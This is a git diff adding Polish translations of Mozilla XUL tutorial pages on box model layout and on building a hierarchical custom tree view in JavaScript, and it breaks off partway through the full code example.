+<p>Następny artykuł pokazuje nam jak <a href="/pl/Kurs_XUL/Drzewa_i_szablony" title="pl/Kurs_XUL/Drzewa_i_szablony">stosować szablony z drzewami</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Wprowadzenie_do_RDF" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Drzewa_i_szablony">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/szczegóły_modelu_pudełkowego/index.html b/files/pl/mozilla/tech/xul/kurs_xul/szczegóły_modelu_pudełkowego/index.html
new file mode 100644
index 0000000000..2aa2418742
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/szczegóły_modelu_pudełkowego/index.html
@@ -0,0 +1,105 @@
+---
+title: Szczegóły modelu pudełkowego
+slug: Mozilla/Tech/XUL/Kurs_XUL/Szczegóły_modelu_pudełkowego
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Box_Model_Details
+---
+<p>
+</p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pozycjonowanie_elementów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pola_grup">Następny »</a></p>
+</div>
+<p></p><p>Widzieliśmy już dużo własności modelu pudełkowego. Tutaj znajdziemy trochę szczegółów z przykładami. </p>
+<h3 id="Wi.C4.99cej_szczeg.C3.B3.C5.82.C3.B3w_uk.C5.82adu_graficznego" name="Wi.C4.99cej_szczeg.C3.B3.C5.82.C3.B3w_uk.C5.82adu_graficznego"> Więcej szczegółów układu graficznego </h3>
+<p>Własności stylu, takie jak <code>min-width</code> i <code>max-height</code>, mogą być dodawane do każdego elementu. Wstawialiśmy je już do przycisków i pól tekstowych, ale możemy je również dodać do pól odstępu czy pudełek. Dodatkowo do każdego elementu może być dodany atrybut <code>flex</code>.
+</p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_1.xul">Podgląd</a>
+</p>
+<pre>&lt;hbox flex="1"&gt;
+ &lt;button label="Lewo" style="min-width: 100px;" flex="1"/&gt;
+ &lt;spacer flex="1"/&gt;
+ &lt;button label="Prawo" style="min-width: 100px;" flex="1"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>W powyższym przykładzie wszystkie trzy elementy zmieniają swój rozmiar, ponieważ mają ustawiony atrybut <code>flex</code>. Obydwa przyciski maja ustawioną minimalną szerokość 100 pikseli i nigdy się nie zmniejszą poniżej tej wartości, ale mogą się powiększać. Okno powinno być niewiele szersze niż 200 pikseli. Jest to szerokość wystarczająca, aby wyświetlić oba przyciski, dlatego wstępnie elastyczność nie zmieni ich rozmiaru.
+</p>
+<div class="float-right"><img alt="grafika:boxdet1.png"></div>
+<p>Jak widać na obrazku obok, znajdują się tam dwa przyciski, które są rozciągnięte w pionie, aby wypełnić pudełko, które w tym przypadku jest typu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code>. Można zapobiec nadmiernemu rozciąganiu się pudełka poprzez ustawianie maksymalnej wysokości elementów w jego wnętrzu lub lepiej, samego pudełka. Jeśli ta wartość zostanie ustawiona, wszystkie elementy pudełka będą nim ograniczane. W tym wypadku pojawia się problem, gdyż musimy wiedzieć z góry, ile miejsca potrzebujemy, aby pomieścić wszystkie elementy w pudełku.
+Atrybut <code><code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code></code> kontroluje zachowanie się poziomego pudełka. Poniższy przykład demonstruje jego działanie.
+</p><p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_2.xul">Podgląd</a>
+</p>
+<pre>&lt;hbox flex="1" align="top"&gt;
+ &lt;button label="Lewo" style="min-width: 100px;" flex="1"/&gt;
+ &lt;spacer flex="1"/&gt;
+ &lt;button label="Prawo" style="min-width: 100px;" flex="1"/&gt;
+&lt;/hbox&gt;
+</pre>
+<h4 id="Podsumowanie_modelu_pude.C5.82kowego" name="Podsumowanie_modelu_pude.C5.82kowego"> Podsumowanie modelu pudełkowego </h4>
+<p>Realizując skomplikowane układy graficzne, trzeba zazwyczaj zagnieżdżać wiele pudełek, określać minimalne i maksymalne wymiary elementów oraz tworzyć pewne elementy jako elastyczne. Najlepszym układem jest taki, który można wyświetlić bezproblemowo w oknie o różnej wielkości. Model pudełkowy może być trudny do zrozumienia bez samodzielnego wypróbowania różnych kombinacji i możliwości. </p><p>Poniżej są wypisane najważniejsze cechy dostępnych pudełek: </p><p><b>Pudełka poziome</b>
+</p>
+<ol><li> Elementy potomne układane są obok siebie w poziomie (w rzędzie).
+</li><li> Elementy elastyczne są rozciągane w poziomie.
+</li><li> Pakowanie (<code>pack</code>) kontroluje ułożenie elementów potomnych w poziomie.
+</li><li> Wyrównanie (<code>align</code>) kontroluje, w jaki sposób rząd elementów jest wyrównywany w pionie.
+</li></ol>
+<p><b>Pudełka pionowe</b>
+</p>
+<ol><li> Elementy potomne układane są jeden pod drugim (w kolumnie).
+</li><li> Elementy elastyczne są rozciągane w pionie.
+</li><li> Pakowanie (<code>pack</code>) kontroluje pionowe ułożenie elementów potomnych.
+</li><li> Wyrównanie (<code>align</code>) kontroluje, w jaki sposób kolumna elementów jest wyrównywana w poziomie.
+</li></ol>
+<p>Pudełka mogą być wstawiane w dowolnym miejscu pliku XUL, w tym także wewnątrz elementów HTML (np. jako tabele). Jednakże ich układ graficzny będzie wtedy częściowo kontrolowany przez element HTML, do którego zostały wstawione. Oznacza to, że atrybut <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> może nie działać w sposób, jaki byśmy sobie tego życzyli. Należy pamiętać, że elastyczność dotyczy tylko tych elementów, które są bezpośrednio zastosowane wewnątrz pudełka lub elemencie dziedziczącym z pudełka.
+</p>
+<h3 id="Przyk.C5.82ady_uk.C5.82adu_graficznego" name="Przyk.C5.82ady_uk.C5.82adu_graficznego"> Przykłady układu graficznego </h3>
+<h5 id="Zastosowanie_odst.C4.99p.C3.B3w" name="Zastosowanie_odst.C4.99p.C3.B3w"> Zastosowanie odstępów </h5>
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_3.xul">Podgląd</a>
+</p>
+<pre>&lt;hbox&gt;
+ &lt;button label="Jeden"/&gt;
+ &lt;spacer style="width: 5px"/&gt;
+ &lt;button label="Dwa"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>Tutaj <code><code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code> (odstęp) został użyty jako separator pomiędzy dwoma przyciskami, odstęp jest stały i wynosi 5 pikseli. To samo mogliśmy osiągnąć ustawiając marginesy używając własności CSS <code>margin</code>.
+</p>
+<h4 id="Wy.C5.9Brodkowanie_przycisk.C3.B3w" name="Wy.C5.9Brodkowanie_przycisk.C3.B3w"> Wyśrodkowanie przycisków </h4>
+<p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_4.xul">Podgląd</a>
+</p>
+<pre>&lt;hbox pack="center" align="center" flex="1"&gt;
+ &lt;button label="Look at Me!"/&gt;
+ &lt;button label="Push Me!"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>W tym przykładzie mamy elastyczne pudełko z dwoma przyciskami wewnątrz. Pudełko posiada atrybut <code><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></code>, dzięki któremu możemy wyśrodkować przyciski w poziomie. Atrybut <code><code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code></code> wyrównuje przyciski w pionie. W efekcie przyciski będą wyśrodkowane w obu kierunkach. Jeśli zamiast pudełka typu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code> użyte zostało by pudełko <code><code><a href="/pl/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code></code>, efekt byłby ten sam z tą różnicą, że przyciski były by ustawione jeden pod drugim a nie obok siebie.
+</p>
+<h4 id="Okno_dialogowe_Znajd.C5.BA_tekst" name="Okno_dialogowe_Znajd.C5.BA_tekst"> Okno dialogowe &lt;tt&gt;Znajdź tekst&lt;/tt&gt; </h4>
+<p><span id="Przyk%C5%82ad_5"><a id="Przyk%C5%82ad_5"></a><strong>Przykład 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_5.xul">Podgląd</a>
+</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="findtext" title="Znajdź tekst" orient="horizontal"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+ &lt;vbox flex="3"&gt;
+ &lt;label control="t1" value="Szukaj tekstu:"/&gt;
+ &lt;textbox id="t1" style="min-width: 100px;" flex="1"/&gt;
+ &lt;/vbox&gt;
+
+ &lt;vbox style="min-width: 150px;" flex="1" align="start"&gt;
+ &lt;checkbox id="c1" label="Uwzględnij wielkość liter"/&gt;
+ &lt;spacer flex="1" style="max-height: 30px;"/&gt;
+ &lt;button label="Znajdź"/&gt;
+ &lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+<div class="float-right"><img alt="grafika:boxdet-ex3.png"></div>
+<p>Okno składa się z dwóch pudełek, jedno dla pola tekstowego, drugie dla pola wyboru oraz przycisku. Oba pudełka są elastyczne, lecz elastyczność lewego pudełko jest trzykrotnie większa od prawego, co sprawia, że podczas zmiany rozmiaru okna otrzymuje trzy razy więcej dodatkowego miejsca. Minimalna wielkość prawego pudełka jest wyznaczona i wynosi 150 pikseli. </p><p>Pole tekstowe jest elastyczne, więc zmienia swoją wielkość podczas zmiany rozmiaru okna. Pole to również ma wyznaczoną minimalna szerokość, która wynosi 100 pikseli. Pole wyboru pojawi się w prawym pudełku wraz ze swoją etykietą. Poniżej pola wyboru wstawiamy pustą przestrzeń, która będzie zmieniała swój rozmiar podczas zmiany wielkości okna, jednak nie będzie ona większa niż 30 pikseli. W rezultacie pole wyboru i przycisk &lt;tt&gt;Znajdź&lt;/tt&gt; będą rozdzielone od siebie pustą przestrzenią nie większą niż 30 pikseli. </p><p>Drugie pudełko zostało utworzone z atrybutem <code>start</code>. Powoduje to wyrównanie elementów potomnych do lewej krawędzi. Jeśli nie zdefiniujemy wartości tego atrybutu, to domyślnym ustawieniem jest <code>stretch</code>, powodujące rozciąganie elementów potomnych w poziomie. Ponieważ nie chcemy, aby przycisk &lt;tt&gt;Znajdź&lt;/tt&gt; zmieniał rozmiar, musimy ustawić wyrównanie. </p><p>Następnie dowiemy się więcej o specjalnych typach pudełka - <a href="pl/Kurs_XUL/Pola_grup">polach grupy</a>. </p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pozycjonowanie_elementów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pola_grup">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/szczegóły_widoku_drzewa/index.html b/files/pl/mozilla/tech/xul/kurs_xul/szczegóły_widoku_drzewa/index.html
new file mode 100644
index 0000000000..af0fa0c905
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/szczegóły_widoku_drzewa/index.html
@@ -0,0 +1,346 @@
+---
+title: Szczegóły widoku drzewa
+slug: Mozilla/Tech/XUL/Kurs_XUL/Szczegóły_widoku_drzewa
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Tree_View_Details
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Własne_widoki_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Obiekty_pudełkowe_drzewa">Następny »</a></p>
+</div><p></p>
+
+<p>W tej części będzie opisane więcej cech wyglądu drzewa.</p>
+
+<h2 id="Tworzenie_w.C5.82asnego_hierarchicznego_widoku" name="Tworzenie_w.C5.82asnego_hierarchicznego_widoku">Tworzenie własnego hierarchicznego widoku</h2>
+
+<p>W ostatnim artykule tworzyliśmy prosty widok drzewa, który implementował tylko minimum funkcjonalności. Teraz przyjrzyjmy się innym, dodatkowym funkcjom, których możemy zaimplementować. Sprawdzimy tutaj, jak stworzyć hierarchicznie ustawione pozycje, używające widoku. Jest to dość podstępny proces pociągający za sobą utrzymywanie ścieżek pozycji potomnych i także, które wiersze są otwarte, a które zostały zamknięte.</p>
+
+<h3 id="Zagnie.C5.BCd.C5.BCanie_poziomu" name="Zagnie.C5.BCd.C5.BCanie_poziomu">Zagnieżdżanie poziomu</h3>
+
+<p>Każdy wiersz w drzewie ma zagnieżdżony poziom. Najwyższy wiersz jest na poziomie 0, dzieci tego wiersza są na poziomie 1, a z kolei kolejne dzieci mamy na poziomie 2 itd. Drzewo wypyta widok o każdy wiersz, wywołując metodę <code>getLevel</code> w celu znalezienia poziomu danego wiersza. Widok zwróci 0 dla najwyższych, zewnętrznych wierszy, wyższe wartości dla wierszy wewnętrznych. Drzewo użyje tych informacji w celu ustalenia hierarchicznej struktury wierszy.</p>
+
+<p>Dodatkowo do metody <code>getLevel</code>, jest jeszcze funkcja <code>hasNextSibling</code>, która daje wiersz zwracająca wartość <code>true</code>, jeżeli znajduje się kolejny wiersz na tym samym poziomie. Funkcja ta jest używana w szczególności podczas rysowania zagnieżdżonych linii w głąb drzewa.</p>
+
+<p>Metoda <code>getParentIndex</code> jest zwraca źródłowy wiersz dla rzędu, jeżeli znajduje się kolejny rząd na tym samym poziomie. Wszystkie z tych metod muszą być zastosowane przez widok dla dzieci do podtrzymania własności.</p>
+
+<h3 id="Kontenery" name="Kontenery">Kontenery</h3>
+
+<p>Są tam też trzy funkcje <code>isContainer</code>, <code>isContainerEmpty</code> i <code>isContainerOpen</code> do posługiwania się źródłowymi pozycjami drzewa.</p>
+
+<ul>
+ <li>Naturalnie, <code>isContainer</code> powinna zwrócić wartość true, jeżeli wiersz jest pojemnikiem i może zawierać kolejne wiersze.</li>
+ <li>Metoda <code>isContainerEmpty</code> powinna zwrócić wartość true, jeżeli wiersz jest pustym pojemnikiem, jak np. pusty folder.</li>
+ <li>Metoda <code>isContainerOpen</code> służy do ustalenia, które z pozycji są otwarte, a które zamknięte.</li>
+</ul>
+
+<p>Zwróć uwagę ze metody te nie zostaną użyte, jeżeli isContainer nie wskaże tego, że dany element jest pojemnikiem.</p>
+
+<p>Pojemnik może zostać przedstawiony inaczej, jako nie kontener. Na przykład może mieć ikonę folderu obok siebie. Schemat może zostać użyty do stylizacji elementów opierając się na różnych własnościach, takich jak to czy wiersz jest otwarty czy nie. Opisane jest to w <a href="pl/Kurs_XUL/Nadawanie_stylu_drzewa">dalszej części</a>. Niepusty pojemnik będzie wyświetlony obok, tak, że użytkownik będzie mógł go otwierać i zamykać by zobaczyć zawartość wiersza.</p>
+
+<p>Kiedy użytkownik kliknie by otworzyć wiersz drzewo wywoła funkcję toggleOpenState. Następnie widok powinien wykonać wszelkie konieczne operacje, by uzyskać zawartość wiersza i wypełnić drzewo nowymi wierszami.</p>
+
+<h3 id="Przegl.C4.85d_metod" name="Przegl.C4.85d_metod">Przegląd metod</h3>
+
+<p>Przegląd metod potrzebnych do użycia hierarchicznego widoku:</p>
+
+<pre>getLevel(row)
+hasNextSibling(row, afterIndex)
+getParentIndex(row)
+isContainer(row)
+isContainerEmpty(row)
+isContainerOpen(row)
+toggleOpenClose(row)
+</pre>
+
+<p>Argument <code>afterIndex</code> wykona funkcję <code>hasNextSibling</code> w celu optymalizacji, żeby znaleźć następny element. Na przykład, klient mógłby już wiedzieć gdzie dany element prawdopodobnie mógłby się znajdować. Wyobraź sobie sytuację gdzie wiersz ma pod wiersze, a te pod wiersze maja pochodne wiersze i niektóre z nich są otwarte.</p>
+
+<h2 id="Przyk.C5.82ad_w.C5.82asnego_hierarchicznego_widoku" name="Przyk.C5.82ad_w.C5.82asnego_hierarchicznego_widoku">Przykład własnego hierarchicznego widoku</h2>
+
+<p>Zobaczmy na prostym przykładzie, z pobranej tablicy budowane jest drzewo. Przeanalizujmy to kawałek, po kawałku.</p>
+
+<pre>&lt;window onload="init();"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;tree id="elementList" flex="1"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="element" label="Element" primary="true" flex="1"/&gt;
+ &lt;/treecols&gt;
+ &lt;treechildren/&gt;
+&lt;/tree&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>Używamy prostego drzewa bez danych w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code>. Funkcja 'init' jest wywoływana, gdy okno jest ładowane w celu uruchomienia drzewa. To w prosty sposób umieszcza własny widok odzyskując drzewo i umieszczeniu własności widoku.</p>
+
+<pre>function init() {
+ document.getElementById("elementList").view = treeView;
+}
+</pre>
+
+<p>Własny widok drzewa będzie musiał wprowadzić pewna liczbę metod, z których najważniejsze będą sprawdzane indywidualnie. Drzewo to wesprze tylko pojedynczy główny poziom z wewnętrznym pochodnym poziomem, ale może to być dodatkowo rozszerzone bez większych problemów. Najpierw zdefiniujemy dwie struktury do przetrzymywania danych dla drzewa, pierwsza będzie przetrzymywała mapę zawartą między głównym, a pochodną pozycją, a druga tablicę widocznych elementów. Pamiętaj, że własny widok musi posiadać informacje o tym, które są widoczne.</p>
+
+<pre>var treeView = {
+ childData : {
+ Solids: ["Silver", "Gold", "Lead"],
+ Liquids: ["Mercury"],
+ Gases: ["Helium", "Nitrogen"]
+ },
+
+ visibleData : [
+ ["Solids", true, false],
+ ["Liquids", true, false],
+ ["Gases", true, false]
+ ],
+</pre>
+
+<p>Struktura childData zawiera tablicę pochodnych pozycji trzech głównych węzłów. Tablica visibleData zaczyna się tylko trzema widocznymi pozycjami, trzy szczytowe poziomy. Elementy będą dodawane i usuwane z tej tablicy, gdy pozycje będą otwierane i zamykane. Zasadniczo, gdy główny wiersz będzie otwarty, pochodne pozycje zostaną pobrane z childData i wstawione do tablicy <code>visibleData</code>. Na przykład, jeżeli wiersz płynów będzie otwarty, korespondująca tablica chilldData, która zawiera tylko pojedynczy pochodny element &lt;tt&gt;Merkury&lt;/tt&gt;, będzie umieszczony w tablicy <code>visibleData</code> za płynami, ale przed gazami. To zwiększy rozmiar tablicy o jeden. Dwie wartości boolean w każdym wierszu w strukturze <code>visibleData</code> wskazują na to czy wiersz jest pojemnikiem i czy jest otwarty. Oczywiście nowo wstawione pochodne pozycje będą miały obie wartości ustawione na false.</p>
+
+<h3 id="Implementowanie_interfejsu_widoku_drzewa" name="Implementowanie_interfejsu_widoku_drzewa">Implementowanie interfejsu widoku drzewa</h3>
+
+<p>Następnie potrzeba wprowadzić interfejs widoku drzewa. Najpierw proste funkcje:</p>
+
+<pre> treeBox: null,
+ selection: null,
+
+ get rowCount() { return this.visibleData.length; },
+ setTree: function(treeBox) { this.treeBox = treeBox; },
+ getCellText: function(idx, column) { return this.visibleData[idx][0]; },
+ isContainer: function(idx) { return this.visibleData[idx][1]; },
+ isContainerOpen: function(idx) { return this.visibleData[idx][2]; },
+ isContainerEmpty: function(idx) { return false; },
+ isSeparator: function(idx) { return false; },
+ isSorted: function() { return false; },
+ isEditable: function(idx, column) { return false; },
+</pre>
+
+<p>Funkcja rowCount zwróci długość tablicy <code>visibleData</code>. Zauważ to, że powinno zwrócić liczbę aktualnie widocznych wierszy, a nie ich całkowitą ilość. Więc na początku trzy pozycje są widoczne i w rowCount powinny być trzy, nawet, jeżeli sześć rzędów jest ukrytych.</p>
+
+<p>Funkcje <code>getCellText</code>, <code>isContainer</code> i <code>isContainerOpen</code>, zawracają tylko odpowiedni element z tablicy <code>visibleData</code>. W końcu pozostałe funkcje mogą zwrócić wartość <code>false</code> ponieważ nie potrzeba tych cech. Gdybyśmy mieli wiersz, który by nie miał żadnych pochodnych pozycji, chcielibyśmy wprowadzić funkcję <code>isContainerEmpty</code> to zwróciłaby ona wartość <code>true</code> dla tych elementów.</p>
+
+<pre> getParentIndex: function(idx) {
+ if (this.isContainer(idx)) return -1;
+ for (var t = idx - 1; t &gt;= 0 ; t--) {
+ if (this.isContainer(t)) return t;
+ }
+ },
+</pre>
+
+<p>Funkcją <code>getParentIndex</code> będzie musiała odnaleźć główny przedmiot zadanego indeksu. W naszym prostym przykładzie, mamy tylko dwa poziomy, więc wiemy, że pojemniki nie posiadają głównych elementów, więc otrzymujemy -1. W takim wypadku cofamy się wstecz szukając wiersz będącego pojemnikiem. Następna funkcja jest <code>getLevel</code>:</p>
+
+<pre> getLevel: function(idx) {
+ if (this.isContainer(idx)) return 0;
+ return 1;
+ },
+</pre>
+
+<p>Funkcja getLevel jest prosta. Zwraca wartość 0 dla pojemnika, 1 dla nie-pojemnika. Gdybyśmy chcieli dołożyć dodatkowy poziom elementów pochodnych, wiersz te miałyby poziom 2.</p>
+
+<pre> hasNextSibling: function(idx, after) {
+ var thisLevel = this.getLevel(idx);
+ for (var t = idx + 1; t &lt; this.visibleData.length; t++) {
+ var nextLevel = this.getLevel(t)
+ if (nextLevel == thisLevel) return true;
+ else if (nextLevel &lt; thisLevel) return false;
+ }
+ },
+</pre>
+
+<p>Funkcja theNextSibling zwraca true, jeżeli wiersz jest tego samego poziomu, co podany wiersz. Powyższy kod używa metody "brute force", która po prostu powtarzana jest, poszukując jednego wiersza, zwraca wartość true jeżeli wiersz jest tego samego poziomu, false jeżeli niższego poziomu. W tym prostym przykładzie ta metoda działa świetnie, lecz bardziej rozbudowane drzewo lepiej użyć innego, bardziej efektywnego sposobu.</p>
+
+<h3 id="Otwieranie_i_zamykanie_wiersza" name="Otwieranie_i_zamykanie_wiersza">Otwieranie i zamykanie wiersza</h3>
+
+<p>Ostatnia funkcja to <code>toggleOpenState</code>, jest najbardziej złożona. Wymaga to modyfikacji tablicy, <code>visibleData</code>, gdy wiersz jest otwarty lub zamknięty.</p>
+
+<pre> toggleOpenState: function(idx) {
+ var item = this.visibleData[idx];
+ if (!item[1]) return;
+
+ if (item[2]) {
+ item[2] = false;
+
+ var thisLevel = this.getLevel(idx);
+ var deletecount = 0;
+ for (var t = idx + 1; t &lt; this.visibleData.length; t++) {
+ if (this.getLevel(t) &gt; thisLevel) deletecount++;
+ else break;
+ }
+ if (deletecount) {
+ this.visibleData.splice(idx + 1, deletecount);
+ this.treeBox.rowCountChanged(idx + 1, -deletecount);
+ }
+ }
+ else {
+ item[2] = true;
+
+ var label = this.visibleData[idx][0];
+ var toinsert = this.childData[label];
+ for (var i = 0; i &lt; toinsert.length; i++) {
+ this.visibleData.splice(idx + i + 1, 0, [toinsert[i], false]);
+ }
+ this.treeBox.rowCountChanged(idx + 1, toinsert.length);
+ }
+ },
+</pre>
+
+<p>Najpierw musimy sprawdzić czy wiersz jest pojemnikiem. Jeżeli nie, funkcja po prostu powróci, ponieważ nie pojemniki nie mogą być otwarte ani zamknięte. Od trzeciej pozycji tablicy (indeks 2) przetrzymywane są informacje czy wiersz jest otwarty czy nie, używamy dwóch ścieżek kodu, pierwszej do zamykania wiersza, a druga do otwierania wiersza. Zbadajmy każdy blok kodu, lecz zerknijmy najpierw na drugi blok służący do otwierania wiersza.</p>
+
+<pre> item[2] = true;
+
+ var label = this.visibleData[idx][0];
+ var toinsert = this.childData[label];
+ for (var i = 0; i &lt; toinsert.length; i++) {
+ this.visibleData.splice(idx + i + 1, 0, [toinsert[i], false]);
+ }
+ this.treeBox.rowCountChanged(idx + 1, toinsert.length);
+</pre>
+
+<p>Pierwsza linia czyni w tablicy, wiersz otwartym, więc z stąd funkcja <code>toggleOpenState</code> będzie wiedziała, który wiersz ma być zamknięty. Następnie szukamy danych w <code>childData</code> dla danego wiersza. Wynikiem jest to, że 'toinsert' będzie wypełnione jednym z elementów tablicy, na przykład ["Silver", "Gold", "Lead"], jeżeli wiersz zostanie otwarty. Następnie używamy funkcji, splice tablicy, by wstawić nowy rząd do każdej pozycji. Dla stałych elementów, zostaną wstawione trzy pozycje.</p>
+
+<p>Używamy funkcji rowCountChanged do poinformowania drzew, że dodaliśmy kilka wierszy do podstawowych danych. Drzewo zostanie przerysowane według potrzeby, a w wyniku pochodne wiersze ukażą się wewnątrz pojemnika. Inne implementowane funkcje powyżej, jak getLevel i isContainer są używane przez drzewo do określenia tego jak wyrysować drzewo.</p>
+
+<p>Funkcja <code>rowCountChanged</code> pobiera dwa argumenty, indeks gdzie pierwszy wiersz był wstawiony i numer wierszy do wstawienia. W powyższym kodzie, zauważ, że początkowy wiersz określony jest jako ‘idx’ plus jeden, którym będzie pierwsza pochodna pozycja pod główną. Drzewo użyje tej informacji i doda przestrzeń dla odpowiedniej liczy wierszy i umieści je w niej. Upewnij się czy liczba jest prawidłowa, w przeciwnym wypadku drzewo zostanie narysowane niepoprawnie lub spróbuje narysować więcej wierszy niż jest to konieczne.</p>
+
+<p>Poniższy kod jest używany do usuwania wierszy, gdy wiersz jest zamknięty.</p>
+
+<pre> item[2] = false;
+
+ var thisLevel = this.getLevel(idx);
+ var deletecount = 0;
+ for (var t = idx + 1; t &lt; this.visibleData.length; t++) {
+ if (this.getLevel(t) &gt; thisLevel) deletecount++;
+ else break;
+ }
+ if (deletecount) {
+ this.visibleData.splice(idx + 1, deletecount);
+ this.treeBox.rowCountChanged(idx + 1, -deletecount);
+ }
+</pre>
+
+<p>Najpierw, element jest zamknięty w tablicy. Następnie będziemy przeszukiwać wiersze, aż natkniemy się na któryś tego samego poziomu. Wszystkie o wyższym poziomie będą musiały być usunięte, lecz wiersz na tym samym poziomie, będzie kolejnym pojemnikiem, który nie powinien być usuniety.</p>
+
+<p>W końcu używamy funkcji splotu (splice) w celu usunięcia wierszy z tablicy visibleData a wywołania funkcji rowCountChanged żeby przerysować drzewo ponownie. Podczas usuwania wierszy, będziesz musiał dostarczyć odwrotny licznik wierszy do usunięcia.</p>
+
+<h3 id="Pe.C5.82en_przyk.C5.82ad" name="Pe.C5.82en_przyk.C5.82ad">Pełen przykład</h3>
+
+<p>Jest tam kilka innych funkcji widoku, które możemy implementować, jednak nie będą one miały nić do wykonania w tym przykładzie. Będą one dodane pod koniec następującego przykładu:</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window onload="init();"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;tree id="elementList" flex="1"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="element" label="Element" primary="true" flex="1"/&gt;
+ &lt;/treecols&gt;
+ &lt;treechildren/&gt;
+&lt;/tree&gt;
+
+&lt;script&gt;
+&lt;![CDATA[
+
+var treeView = {
+ childData : {
+ Solids: ["Silver", "Gold", "Lead"],
+ Liquids: ["Mercury"],
+ Gases: ["Helium", "Nitrogen"]
+ },
+
+ visibleData : [
+ ["Solids", true, false],
+ ["Liquids", true, false],
+ ["Gases", true, false]
+ ],
+
+ treeBox: null,
+ selection: null,
+
+ get rowCount() { return this.visibleData.length; },
+ setTree: function(treeBox) { this.treeBox = treeBox; },
+ getCellText: function(idx, column) { return this.visibleData[idx][0]; },
+ isContainer: function(idx) { return this.visibleData[idx][1]; },
+ isContainerOpen: function(idx) { return this.visibleData[idx][2]; },
+ isContainerEmpty: function(idx) { return false; },
+ isSeparator: function(idx) { return false; },
+ isSorted: function() { return false; },
+ isEditable: function(idx, column) { return false; },
+
+ getParentIndex: function(idx) {
+ if (this.isContainer(idx)) return -1;
+ for (var t = idx - 1; t &gt;= 0 ; t--) {
+ if (this.isContainer(t)) return t;
+ }
+ },
+ getLevel: function(idx) {
+ if (this.isContainer(idx)) return 0;
+ return 1;
+ },
+ hasNextSibling: function(idx, after) {
+ var thisLevel = this.getLevel(idx);
+ for (var t = idx + 1; t &lt; this.visibleData.length; t++) {
+ var nextLevel = this.getLevel(t)
+ if (nextLevel == thisLevel) return true;
+ else if (nextLevel &lt; thisLevel) return false;
+ }
+ },
+ toggleOpenState: function(idx) {
+ var item = this.visibleData[idx];
+ if (!item[1]) return;
+
+ if (item[2]) {
+ item[2] = false;
+
+ var thisLevel = this.getLevel(idx);
+ var deletecount = 0;
+ for (var t = idx + 1; t &lt; this.visibleData.length; t++) {
+ if (this.getLevel(t) &gt; thisLevel) deletecount++;
+ else break;
+ }
+ if (deletecount) {
+ this.visibleData.splice(idx + 1, deletecount);
